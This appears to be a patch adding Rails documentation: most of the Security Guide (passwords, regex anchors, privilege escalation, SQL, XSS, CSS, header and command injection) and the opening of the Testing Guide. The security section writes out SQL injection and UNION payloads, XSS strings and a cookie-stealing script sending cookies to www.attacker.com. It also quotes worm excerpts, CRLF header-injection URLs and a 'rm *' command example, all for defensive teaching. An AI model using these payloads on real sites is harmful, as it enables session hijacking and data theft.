+Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
+
+password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
+
+It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
+
+A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
+
+### Regular Expressions
+
+INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
+
+Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
+
+```ruby
+ /^https?:\/\/[^\n]+$/i
+```
+
+This may work fine in some languages. However, _in Ruby ^ and $ match the **line** beginning and line end_. And thus a URL like this passes the filter without problems:
+
+```
+javascript:exploit_code();/*
+http://hi.com
+*/
+```
+
+This URL passes the filter because the regular expression matches – the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:
+
+```ruby
+ link_to "Homepage", @user.homepage
+```
+
+The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit_code" or any other JavaScript the attacker provides.
+
+To fix the regular expression, \A and \z should be used instead of ^ and $, like so:
+
+```ruby
+ /\Ahttps?:\/\/[^\n]+\z/i
+```
+
+Since this is a frequent mistake, the format validator (validates_format_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so:
+
+```ruby
+ # content should include a line "Meanwhile" anywhere in the string
+ validates :content, format: { with: /^Meanwhile$/, multiline: true }
+```
+
+Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the **line** beginning and line end in Ruby, and not the beginning and end of a string.
+
+### Privilege Escalation
+
+WARNING: _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
+
+The most common parameter that a user might tamper with, is the id parameter, as in `http://www.domain.com/project/1`, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
+
+```ruby
+ at project = Project.find(params[:id])
+```
+
+This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_:
+
+```ruby
+ at project = @current_user.projects.find(params[:id])
+```
+
+Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
+
+Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are ev [...]
+
+Injection
+---------
+
+INFO: _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
+
+Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
+
+### Whitelists versus Blacklists
+
+NOTE: _When sanitizing, protecting or verifying something, whitelists over blacklists._
+
+A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_:
+
+* Use before_action only: [...] instead of except: [...]. This way you don't forget to turn it off for newly added actions.
+* Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details.
+* Don't try to correct user input by blacklists:
+ * This will make the attack work: "<sc<script>ript>".gsub("<script>", "")
+ * But reject malformed input
+
+Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
+
+### SQL Injection
+
+INFO: _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._
+
+#### Introduction

+SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
+
+```ruby
+Project.where("name = '#{params[:name]}'")
+```
+
+This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
+
+```sql
+SELECT * FROM projects WHERE name = '' OR 1 --'
+```
+
+The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
+
+#### Bypassing Authorization
+
+Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
+
+```ruby
+User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
+```
+
+If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
+
+```sql
+SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
+```
+
+This will simply find the first record in the database, and grants access to this user.
+
+#### Unauthorized Reading
+
+The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
+
+```ruby
+Project.where("name = '#{params[:name]}'")
+```
+
+And now let's inject another query using the UNION statement:
+
+```
+') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
+```
+
+This will result in the following SQL query:
+
+```sql
+SELECT * FROM projects WHERE (name = '') UNION
+ SELECT id,login AS name,password AS description,1,1,1 FROM users --'
+```
+
+The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
+
+Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails [to at least 2.1.1](http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/).
+
+#### Countermeasures
+
+Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually</em>.
+
+Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
+
+```ruby
+Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
+```
+
+As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
+
+```ruby
+Model.where(login: entered_user_name, password: entered_password).first
+```
+
+The array or hash form is only available in model instances. You can try `sanitize_sql()` elsewhere. _Make it a habit to think about the security consequences when using an external string in SQL_.
+
+### Cross-Site Scripting (XSS)
+
+INFO: _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._
+
+#### Entry Points
+
+An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
+
+The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheade [...]
+
+XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the w [...]
+
+During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The [Symantec Global Internet Security threat report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf) also documented 239 browser plug-in vulnerabilities in the last six months of 2007. [Mpack](http://pandalabs.pandasecurity.com/mpack-uncovered/) is a very active and up-to-date a [...]
+
+A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to [Trend Micro](http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/).
+
+#### HTML/JavaScript Injection
+
+The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _Escaping user input is essential_.
+
+Here is the most straightforward test to check for XSS:
+
+```html
+<script>alert('Hello');</script>
+```
+
+This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
+
+```html
+<img src=javascript:alert('Hello')>
+<table background="javascript:alert('Hello')">
+```
+
+##### Cookie Theft
+
+These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed th [...]
+
+```
+<script>document.write(document.cookie);</script>
+```
+
+For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
+
+```html
+<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
+```
+
+The log files on www.attacker.com will read like this:
+
+```
+GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
+```
+
+You can mitigate these attacks (in the obvious way) by adding the [httpOnly](http://dev.rubyonrails.org/ticket/8895) flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](http://ha. [...]
+
+##### Defacement
+
+With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
+
+```html
+<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
+```
+
+This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
+
+A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
+
+Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
+
+```
+http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
+ <script src=http://www.securitylab.ru/test/sc.js></script><!--
+```
+
+##### Countermeasures
+
+_It is very important to filter malicious input, but it is also important to escape the output of the web application_.
+
+Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
+
+Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
+
+```ruby
+strip_tags("some<<b>script>alert('hello')<</b>/script>")
+```
+
+This returned "some<script>alert('hello')</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
+
+```ruby
+tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
+s = sanitize(user_input, tags: tags, attributes: %w(href title))
+```
+
+This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
+
+As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (`&`, `"`, `<`;, and `>`). However, it can easily happen that the programmer forgets to use it, so _it is recommended t [...]
+
+##### Obfuscation and Encoding Injection
+
+Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
+
+```
+<IMG SRC=javascript:a
+ lert('XSS')>
+```
+
+This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks.
+
+#### Examples from the Underground
+
+_In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
+
+The following is an excerpt from the [Js.Yamanner at m](http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1) Yahoo! Mail [worm](http://groovin.net/stuff/yammer.txt). It appeared on June 11, 2006 and was the first webmail interface worm:
+
+```
+<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
+ target=""onload="var http_request = false; var Email = '';
+ var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
+```
+
+The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
+
+Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
+
+In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
+
+The MySpace Samy worm will be discussed in the CSS Injection section.
+
+### CSS Injection
+
+INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
+
+CSS Injection is explained best by a well-known worm, the [MySpace Samy worm](http://namb.la/popular/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
+
+MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
+
+```html
+<div style="background:url('javascript:alert(1)')">
+```
+
+So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.
+
+```html
+<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
+```
+
+The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
+
+```
+alert(eval('document.body.inne' + 'rHTML'));
+```
+
+The next problem was MySpace filtering the word “javascript”, so the author used “java<NEWLINE>script" to get around this:
+
+```html
+<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
+```
+
+Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
+
+In the end, he got a 4 KB worm, which he injected into his profile page.
+
+The [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
+
+#### Countermeasures
+
+This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
+
+### Textile Injection
+
+If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. [RedCloth](http://redcloth.org/) is such a language for Ruby, but without precautions, it is also vulnerable to XSS.
+
+For example, RedCloth translates `_test_` to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the [all-new version 4](http://www.redcloth.org) that removed serious bugs. However, even that version has [some security bugs](http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html), so the countermeasures still apply. Here is an example for version 3.0.4:
+
+```ruby
+RedCloth.new('<script>alert(1)</script>').to_html
+# => "<script>alert(1)</script>"
+```
+
+Use the :filter_html option to remove HTML which was not created by the Textile processor.
+
+```ruby
+RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
+# => "alert(1)"
+```
+
+However, this does not filter all HTML, a few tags will be left (by design), for example <a>:
+
+```ruby
+RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
+# => "<p><a href="javascript:alert(1)">hello</a></p>"
+```
+
+#### Countermeasures
+
+It is recommended to _use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
+
+### Ajax Injection
+
+NOTE: _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
+
+If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
+
+### Command Line Injection
+
+NOTE: _Use user-supplied command line parameters with caution._
+
+If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
+
+A countermeasure is to _use the `system(command, parameters)` method which passes command line parameters safely_.
+
+```ruby
+system("/bin/echo","hello; rm *")
+# prints "hello; rm *" and does not delete files
+```
+
+
+### Header Injection
+
+WARNING: _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
+
+HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
+
+Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
+
+```ruby
+redirect_to params[:referer]
+```
+
+What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
+
+```
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
+```
+
+And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
+
+```
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
+http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
+```
+
+Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
+
+```
+HTTP/1.1 302 Moved Temporarily
+(...)
+Location: http://www.malicious.tld
+```
+
+So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you [...]
+
+#### Response Splitting
+
+If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
+
+```
+HTTP/1.1 302 Found [First standard 302 response]
+Date: Tue, 12 Apr 2005 22:09:07 GMT
+Location:
Content-Type: text/html
+
+
+HTTP/1.1 200 OK [Second New response created by attacker begins]
+Content-Type: text/html
+
+
+<html><font color=red>hey</font></html> [Arbitary malicious input is
+Keep-Alive: timeout=15, max=100 shown as the redirected page]
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: text/html
+```
+
+Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
+
+
+Default Headers
+---------------
+
+Every HTTP response from your Rails application receives the following default security headers.
+
+```ruby
+config.action_dispatch.default_headers = {
+ 'X-Frame-Options' => 'SAMEORIGIN',
+ 'X-XSS-Protection' => '1; mode=block',
+ 'X-Content-Type-Options' => 'nosniff'
+}
+```
+
+You can configure default headers in `config/application.rb`.
+
+```ruby
+config.action_dispatch.default_headers = {
+ 'Header-Name' => 'Header-Value',
+ 'X-Frame-Options' => 'DENY'
+}
+```
+
+Or you can remove them.
+
+```ruby
+config.action_dispatch.default_headers.clear
+```
+
+Here is the list of common headers:
+
+* X-Frame-Options
+_'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website.
+* X-XSS-Protection
+_'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off(useful if response contents scripts from request parameters)
+* X-Content-Type-Options
+_'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file.
+* X-Content-Security-Policy
+[A powerful mechanism for controlling which sites certain content types can be loaded from](http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html)
+* Access-Control-Allow-Origin
+Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.
+* Strict-Transport-Security
+[Used to control if the browser is allowed to only access a site over a secure connection](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)
+
+Environmental Security
+----------------------
+
+It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/initializers/secret_token.rb`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.
+
+Additional Resources
+--------------------
+
+The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:

+A Guide to Testing Rails Applications
+=====================================
+
+This guide covers built-in mechanisms in Rails for testing your application.
+
+After reading this guide, you will know:
+
+* Rails testing terminology.
+* How to write unit, functional, and integration tests for your application.
+* Other popular testing approaches and plugins.
+
+--------------------------------------------------------------------------------
+
+Why Write Tests for your Rails Applications?
+--------------------------------------------
+
+Rails makes it super easy to write your tests. It starts by producing skeleton test code while you are creating your models and controllers.
+
+By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
+
+Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
+
+Introduction to Testing
+-----------------------
+
+Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.
+
+### The Test Environment
+
+By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in `config/database.yml`.
+
+A dedicated test database allows you to set up and interact with test data in isolation. Tests can mangle test data with confidence, that won't touch the data in the development or production databases.
+
+### Rails Sets up for Testing from the Word Go
+
+Rails creates a `test` folder for you as soon as you create a Rails project using `rails new` _application_name_. If you list the contents of this folder then you shall see:
+
+```bash
+$ ls -F test
+controllers/ helpers/ mailers/ test_helper.rb
+fixtures/ integration/ models/
+```
+
+The `models` directory is meant to hold tests for your models, the `controllers` directory is meant to hold tests for your controllers and the `integration` directory is meant to hold tests that involve any number of controllers interacting.
+
+Fixtures are a way of organizing test data; they reside in the `fixtures` folder.
+
+The `test_helper.rb` file holds the default configuration for your tests.
+
+### The Low-Down on Fixtures
+
+For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.
+
+#### What Are Fixtures?
+
+_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent written in YAML. There is one file per model.
+
+You'll find fixtures under your `test/fixtures` directory. When you run `rails generate model` to create a new model fixture stubs will be automatically created and placed in this directory.
+
+#### YAML
+
+YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`).
+
+Here's a sample YAML fixture file:
+
+```yaml
+# lo & behold! I am a YAML comment!
+david:
+ name: David Heinemeier Hansson
+ birthday: 1979-10-15
+ profession: Systems development
+
+steve:
+ name: Steve Ross Kellock
+ birthday: 1974-09-27
+ profession: guy with keyboard
+```
+
+Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column. Keys which resemble YAML keywords such as 'yes' and 'no' are quoted so that the YAML Parser correctly interprets them.
+
+#### ERB'in It Up
+
+ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users:
+
+```erb
+<% 1000.times do |n| %>
+user_<%= n %>:
+ username: <%= "user%03d" % n %>
+ email: <%= "user%03d at example.com" % n %>
+<% end %>
+```
+
+#### Fixtures in Action
+
+Rails by default automatically loads all fixtures from the `test/fixtures` folder for your unit and functional test. Loading involves three steps:
+
+* Remove any existing data from the table corresponding to the fixture
+* Load the fixture data into the table
+* Dump the fixture data into a variable in case you want to access it directly
+
+#### Fixtures are Active Record objects
+
+Fixtures are instances of Active Record. As mentioned in point #3 above, you can access the object directly because it is automatically setup as a local variable of the test case. For example:
+
+```ruby
+# this will return the User object for the fixture named david
+users(:david)
+
+# this will return the property for david called id
+users(:david).id
+
+# one can also access methods available on the User class
+email(david.girlfriend.email, david.location_tonight)
+```
+
+Unit Testing your Models
+------------------------
+
+In Rails, unit tests are what you write to test your models.
+
+For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary.
+
+NOTE: For more information on Rails <i>scaffolding</i>, refer to [Getting Started with Rails](getting_started.html)
+
+When you use `rails generate scaffold`, for a resource among other things it creates a test stub in the `test/models` folder:
+
+```bash
+$ rails generate scaffold post title:string body:text
+...
+create app/models/post.rb
+create test/models/post_test.rb
+create test/fixtures/posts.yml
+...
+```
+
+The default test stub in `test/models/post_test.rb` looks like this:
+
+```ruby
+require 'test_helper'
+
+class PostTest < ActiveSupport::TestCase
+ # test "the truth" do
+ # assert true
+ # end
+end
+```
+
+A line by line examination of this file will help get you oriented to Rails testing code and terminology.
+
+```ruby
+require 'test_helper'
+```
+
+As you know by now, `test_helper.rb` specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
+
+```ruby
+class PostTest < ActiveSupport::TestCase
+```
+
+The `PostTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `PostTest` thus has all the methods available from `ActiveSupport::TestCase`. You'll see those methods a little later in this guide.
+
+Any method defined within a `Test::Unit` test case that begins with `test` (case sensitive) is simply called a test. So, `test_password`, `test_valid_password` and `testValidPassword` all are legal test names and are run automatically when the test case is run.
+
+Rails adds a `test` method that takes a test name and a block. It generates a normal `Test::Unit` test with method names prefixed with `test_`. So,
+
+```ruby
+test "the truth" do
+ assert true
+end
+```
+
+acts as if you had written
+
+```ruby
+def test_the_truth
+ assert true
+end
+```
+
+only the `test` macro allows a more readable test name. You can still use regular method definitions though.
+
+NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. Odd ones need `define_method` and `send` calls, but formally there's no restriction.
+
+```ruby
+assert true
+```
+
+This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
+
+* does this value = that value?
+* is this object nil?
+* does this line of code throw an exception?
+* is the user's password greater than 5 characters?
+
+Every test contains one or more assertions. Only when all the assertions are successful will the test pass.
+
+### Preparing your Application for Testing
+
+Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands:
+
+```bash
+$ rake db:migrate
+...
+$ rake db:test:load
+```
+
+The `rake db:migrate` above runs any pending migrations on the _development_ environment and updates `db/schema.rb`. The `rake db:test:load` recreates the test database from the current `db/schema.rb`. On subsequent attempts, it is a good idea to first run `db:test:prepare`, as it first checks for pending migrations and warns you appropriately.
+
